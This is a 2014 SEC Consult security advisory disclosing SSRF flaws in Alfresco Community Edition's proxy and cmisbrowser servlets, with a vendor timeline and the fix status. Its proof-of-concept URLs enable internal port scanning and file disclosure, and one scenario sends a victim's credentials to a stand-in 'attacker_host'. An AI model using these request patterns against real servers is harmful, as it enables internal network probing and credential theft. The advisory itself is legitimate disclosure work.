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SEC Consult Vulnerability Lab Security Advisory < 20140716-0 >
=======================================================================
              title: Multiple SSRF vulnerabilities
            product: Alfresco Community Edition
 vulnerable version: <=4.2.f
      fixed version: 5.0.a
             impact: High
           homepage: http://www.alfresco.com
              found: 2014-05-15
                 by: V. Paulikas
                     SEC Consult Vulnerability Lab
=======================================================================

Vendor description:
- -------------------
"Alfresco Community Edition allows organizations to manage any type of content
from simple office documents to scanned images, photographs, engineering drawings
and large video files. It is commonly used as a document management system,
content platform, CMIS-compliant repository."

http://www.alfresco.com/products/community


Business recommendation:
- ------------------------
Multiple SSRF vulnerabilities were identified within the affected Alfresco product.

By exploiting these vulnerabilities an unauthenticated attacker is able to
scan available ports on internal systems and access internal web applications
which should not be accessible from the Internet.

It is recommended to restrict access to the affected servlets until an
official patch is released by the vendor.


Vulnerability overview/description:
- ---------------------------------------------
1) Server Side Request Forgery (SSRF)

A Server Side Request Forgery vulnerability allows to issue remote connections
on behalf of the affected server. This can be exploited in order to reach
internal systems, which are not reachable from the Internet, or to bypass
access restrictions.


Proof of concept:
- -----------------
SSRF PoC 1)
An unauthenticated user can access the proxy servlet and perform internal
system port scanning by accessing the URL provided below:

http://host/alfresco/proxy?endpoint=http://internal_system:port

The server responds with an error message "Connection refused" when the port
is not accessible (firewalled or not available). Other error messages indicate
a service running on the port which is being probed.

The proxy servlet implementation in older versions of the Alfresco Community Edition
support the file:// URI, allowing the attacker to disclose the contents of the files
on the affected server.


SSRF PoC 2)
The Content Management Interoperability Service (CMIS) can also be exploited
by an unauthenticated attacker in order to issue internal connections. The
following URL can be used in order to exploit the vulnerability:

http://host/alfresco/cmisbrowser?url=http://internal_system:port

The server responds with similar error messages when the port is open or closed.

If the victim is tricked to access a resource, protected with Basic authentication,
on the affected host via the cmisbrowser servlet, further requests include the submitted
credentials and can be intercepted by an attacker. An example of such a scenario:

- - victim accesses http://host/alfresco/cmisbrowser?url=http://host/alfresco/service/
and supplies his user credentials.
- - victim then accesses the http://host/alfresco/cmisbrowser?url=http://attacker_host and
his base64 encoded credentials are leaked.


Vulnerable / tested versions:
- -----------------------------
The vulnerabilities have been verified to exist in the Alfresco Community
Edition version 4.2.f, which was the most recent version at the time of
discovery.

The version 2.9.0B was verified to support the file:// URI scheme,
allowing the attackers to disclose contents of the local files on the affected
server.


Vendor contact log:
- ------------------------
2014-05-30: Contacting vendor through support@alfresco.com - no response.
2014-06-02: Contacting vendor through online form at http://www.alfresco.com/company/contact
      - no response.
2014-06-09: Contacting vendor through support@alfresco.com and online form - no response.
2014-06-16: Contacting vendor through support@alfresco.com and online form.
2014-06-17: Response from the vendor.
2014-06-24: Advisory sent to the vendor.
2014-07-07: Vendor acknowledges that a new version (5.0.a) of the Alfresco CMS
      is available
2014-07-16: SEC Consult releases security advisory


Solution:
- ---------
According to the vendor, the new version 5.0.a fixes the identified problems.
The new version can be downloaded from their website.

However, by inspecting the updated version of the Alfresco CMS it was identified,
that only the /proxy endpoint was properly fixed. The /cmisbrowser was commented out
in the web.xml for default installations and once enabled could be exploited
by unauthenticated attackers as described above.


Advisory URL:
- -------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab

SEC Consult
Vienna - Bangkok - Frankfurt/Main - Montreal - Singapore - Vilnius

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Phone:   +43 1 8903043 0
Fax:     +43 1 8903043 15

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Blog: http://blog.sec-consult.com
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Interested in working with the experts of SEC Consult?
Write to career@sec-consult.com

EOF V. Paulikas / @2014
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